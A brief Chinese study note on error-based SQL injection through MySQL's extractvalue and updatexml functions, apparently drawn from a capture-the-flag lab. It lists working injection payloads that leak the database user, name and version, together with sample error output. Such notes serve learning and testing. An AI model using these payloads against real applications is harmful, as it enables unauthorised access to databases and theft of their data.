报错注入
# extractvalue
extractvalue:
从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
XML_document: String 为XML文档对象的名称,文中为Doc
XPath_string Xpath格式的字符串
concat: 返回结果为连接参数产生的字符串。
payload
用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'
数据库
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'
版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
# updatexml
高版本的mysql已经修复了该bug
updatexml
UPDATEXML (XML_document, XPath_string, new_value);
XML_document: String 为XML文档对象的名称,文中为Doc
XPath_string: String (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
new_value: String 替换查找到的符合条件的数据
payload
1' and (updatexml(1,concat(0x7e,(select database())),1))
1
# 参考
上次更新: 2021/07/29, 20:28:59